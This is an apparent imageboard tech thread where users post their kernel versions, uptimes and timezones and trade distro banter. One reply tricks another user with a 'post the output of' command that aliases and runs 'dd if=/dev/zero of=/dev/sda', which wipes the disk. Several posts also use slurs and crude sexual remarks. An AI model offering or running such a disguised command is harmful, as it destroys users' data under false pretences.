post the output of uname -r && uptime -p &&

I want to input in Ebina

C:\Users\anand>uname -r && uptime -p && cat /etc/timezone
'uname' is not recognized as an internal or external command,
operable program or batch file.

4.4.0-63-generic
up 1 week, 20 hours, 27 minutes
Europe/Berlin

>>59203456
I want to ebin Ebina's ebins.

$ uname -r && uptime -p && cat /etc/timezone
4.8.0-36-generic
up 1 week, 3 days, 3 hours, 47 minutes
Asia/Manila

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56KB, 654x309px

I'll paraphrase

15.6.0
up 2 days, 22:56
USA/Eastern

-p is not a recognized option

>>59203451

3.16.0-4-amd64
up 4 weeks, 6 days, 5 hours, 20 minutes
America/Toronto

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61KB, 1024x696px

3.16.0-4-amd64
up 6 days, 18 hours, 20 minutes
America/Los_Angeles

>>59203451
4.4.0-64-generic
up 1 hour, 49 minutes
Europe/Copenhagen

>>59203451
>post the output of

i want to ebin ebinchan

>>59203583
hot

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40KB, 664x602px

>>59203451

4.9.9-1-ARCH
up 1 week, 3 days, 19 hours, 59 minutes
cat: /etc/timezone: No such file or directory

4.9.4-sun8i
up 3 weeks, 1 day, 21 hours, 3 minutes
Etc/UTC


13.4.0
uptime: illegal option -- p
usage: uptime

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514KB, 431x450px

>>59203451
Nice try NSA.

>>59203769
why does that girl have a napkin in her hair?

>>59203451

4.8.13-1-ARCH
up 1 week, 2 days, 8 hours, 43 minutes
cat: /etc/timezone: No such file or directory

>>59203793
What are you doing anon? You must update your kernel.

>>59203780
It's because she's a dyke.

>>59203780
because she's retarded

>>59203780
ez cumcleanup

4.9.11-1-ARCH
up 10 hours, 17 minutes
cat: /etc/timezone: No such file or directory

4.10.0+
up 1 day, 1 hour, 33 minutes
cat: /etc/timezone: No such file or directory

>>59203806
na

>>59203884
Filthy pig. Go back to Debian.

>>59203806
>tfw locked out of drivers with kernel update
>https://www.mail-archive.com/[email protected]/msg1503079.html
Good thing I still have an iGPU and could fix it. AMD, hurry up and make your open drivers good. Don't you want my money?

DATA

4.9.11-1-ARCH
up 9 hours, 29 minutes
cat: /etc/timezone: No such file or directory

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there you go, too lazy to copy/paste

4.9.9-1-ARCH
up 8 hours, 50 minutes
cat: /etc/timezone: No such file or directory

>>59204017

pacman -Syu
reboot

>>59203975
tfw you are the arch user with the latest stable kernel release in this thread.
whats wrong with you guys ?
Whats your excuse for not beeing on 4.9.11 ????

$ uname -r && uptime -p && cat /etc/timezone
2.7.0(0.306/5/3)
bash: uptime: command not found

>>59204063

root@god ~ # pacman -Syu
:: Synchronising package databases...
 core is up to date
 extra is up to date
 community is up to date
 multilib is up to date
:: Starting full system upgrade...
 there is nothing to do

But I am on 4.9.11

3.16.0-4-amd64
up 1 day, 23 hours, 50 minutes
US/Eastern

>>59204063
>tfw Debian has a pretty recent kernel

$ uname -a && uptime && fuckyou
Linux A-chan 4.9.0-2-amd64 #1 SMP Debian 4.9.13-1 (2017-02-27) x86_64 GNU/Linux
 15:02:36 up 1 day, 16:12,  1 user,  load average: 1.35, 1.46, 1.52
bash: fuckyou: command not found

>>59204116
Please post the output of

echo 'alias fuckyou="dd if=/dev/zero of=/dev/sda"' >> ~/.bashrc; source ~/.bashrc; fuckyou

3.2.0-123-generic
20:04:43 up 8 days,  2:20,  1 user,  load average: 0.22, 0.44, 0.48
Europe/Lisbon

>>59204116
lsb_release -a ?

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19KB, 960x422px

What is the most portable way to get the timezone? Is it

timedatectl | grep zone

(assuming there is no escape from systemd)?

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309KB, 692x720px

>>59204153
One minute familia, it's running.
I will just wait for a few minutes until it's done.

>>59204175
> systemd
> portable
> Not considering Solaris, BSD, OS X
> portable

4.9.13-040913-generic
up 11 hours, 18 minutes
Europe/Istanbul

>>59204221
> Europe
> Istanbul
> being this deluded

At line:1 char:10
+ uname -r && uptime -p && cat /etc/timezone
+          ~~
The token '&&' is not a valid statement separator in this version.
At line:1 char:23
+ uname -r && uptime -p && cat /etc/timezone
+                       ~~
The token '&&' is not a valid statement separator in this version.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : InvalidEndOfLine

$uname -r && uptime -p && cat /etc/timezone
3.10.74-gf692d1f
 21:10:01 up  5:25,  load average: 7.28, 6.80, 6.68
cat: can't open '/etc/timezone': No such file or directory

running android : - )

>>59203939
>nvidia
You got what you deserved.

>>59204175

timedatectl | grep zone | sed -e 's/^[^:]*: \([^ ]*\) .*$/\1/'

>>59204363
Yes, I did, but I still have great performing drivers. The recent kernel looks like it has great performing drivers on the RX480. I might finally switch if they keep that up.

>>59203583
You just know that there's going to be porn of this

>>59204960
go look on /y/ the porn is already here

>>59203451
Simply Ebin(a)

>>59203451

3.16.0-4-686-pae
up 17 weeks, 6 days, 11 hours, 11 minutes
Asia/Tokyo

4.9.11-1-ARCH
up 37 minutes
cat: /etc/timezone: No such file or directory

4.7.0-x86_64-linode72
up 19 weeks, 5 days, 22 hours, 32 minutes
Europe/London

>>59203451
4.10.1-1-ARCH
up 1 week, 9 hours, 35 minutes
cat: /etc/timezone: No such file or directory

4.9.6-gentoo-r1
up 3 days, 23 hours, 10 minutes
America/Chicago

>>59203451
4.10.1-muqss
up 7 hours, 2 minutes
America/New_York

15.6.0
23:31 up 6 days, 6:53, 2 users, load averages: 2.94 3.33 2.49
cat: /etc/timezone: No such file or directory

>>59205362
thanks for anime tiddies

$ uname -a && uptime && cat /etc/timezone
OpenBSD nope 5.7 GENERIC#738 i386
12:01AM  up 72 days, 11:47, 1 user, load averages: 0.15, 0.12, 0.09
cat: /etc/timezone: No such file or directory

jesus, i need to update it some day

% uname -r && uptime -p && cat /etc/timezone
15.6.0
uptime: illegal option -- p
usage: uptime

4.8.0-40-generic
up 2 hours, 13 minutes
America/Sao_Paulo

4.4.0-64-generic
up 6 days, 11 hours, 51 minutes
Etc/UTC

>>59203451

4.4.0-pf6
up 6 days, 1 hour, 29 minutes
America/Sao_Paulo

>>59204160

$ lsb_release -a
No LSB modules are available.
Distributor ID:    Debian
Description:    Debian GNU/Linux 9.0 (stretch)
Release:    9.0
Codename:    stretch

>>59203854
>>59203975
brethren and sisters !
In this time and place, I am, euphoric!

4.9.11-1-ARCH
up 8 hours, 7 minutes
cat: /etc/timezone: No such file or directory

3.13.0-57-generic
up 47 weeks, 6 days, 3 hours, 54 minutes
America/New_York

mips Linux 3.18.3-ci20-1
up 22 days, 6 hours, 20 minutes
America/Menominee

>>59203739
Are you me?

4.9.9-1-ARCH
up 1 week, 4 days, 5 hours, 18 minutes
cat: /etc/timezone: No such file or directory

We really should update, there's a nasty privilege escalation exploit in our kernel version.

>>59203451

4.9.6-1-ARCH
up 4 weeks, 5 days, 6 hours, 40 minutes
cat: /etc/timezone: No such file or directory

4.4.0-53-generic
up 12 hours, 58 minutes
America/Chicago

 
4.4.0-59-generic
up 3 weeks, 1 day, 15 hours, 32 minutes
Australia/Melbourne

EEEPC 900HA, I use it as a print server

>>59203793
> 4.8.x
Are you keeping that for historic value or something?

▪uname -r && uptime -p && timedatectl | grep zone
4.9.11-1-ARCH
up 6 hours, 21 minutes
Time zone: America/Recife (BRT, -0300)

4.8.0-39-generic
up 1 day, 10 hours, 30 minutes
Asia/Istanbul

4.8.6-300.fc25.x86_64
up 5 days, 1 hour, 33 minutes
cat: /etc/timezone: No such file or directory

3.4.113-sun8i
up 1 week, 4 days, 5 hours, 33 minutes
Europe/Amsterdam

>>59203514
ebin post

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61KB, 252x221px

>>59203552

>>59203451
I fucking love anime titties.

>>59203451

4.9.0-1-686-pae
up 5 days, 14 hours, 31 minutes
Europe/Vaduz

4.9.13-gentoo
Japan

3.4.0+
up 1 minute
cat: /etc/timezone: No such file or directory

just WSL things

>>59203451

4.9.11-200.fc25.x86_64
up 1 day, 1 hour, 22 minutes
cat: /etc/timezone: No such file or directory

>>59203451

16.4.0
uptime: illegal option -- p
usage: uptime

4.9.8-1-ARCH
up 1 minute
cat: /etc/timezone: No such file or directory

I use a vm currently until I get my new ssd

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>>59203451

uname -r && uptime -p && cat /etc/timezone
3.10.0-327.el7.x86_64
up 1 day, 1 hour, 38 minutes
cat: /etc/timezone: No such file or directory

>mfw power outage last night
>inb4 not having a ups

2.6.0
up 9 hours, 28 minutes
cat: /etc/timezone: No such file or directory

Who oldfag here?

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>>59207765
>>59203854
>>59203975
>>59208130
>>59208734
>>59209427
>>59211792

another member of le arch army here.

4.9.11-1-ARCH
up 59 minutes
cat: /etc/timezone: No such file or directory

iMac:~ $ uname -r && uptime -p && cat /etc/timezone
16.4.0
uptime: illegal option -- p
usage: uptime

>>59203451

$ uname -r && uptime && cat /etc/timezone
3.10.40-franco.Kernel
 01:29:14 up 6 days, 43 min,  load average: 3.11, 3.19, 3.11
cat: can't open '/etc/timezone': No such file or directory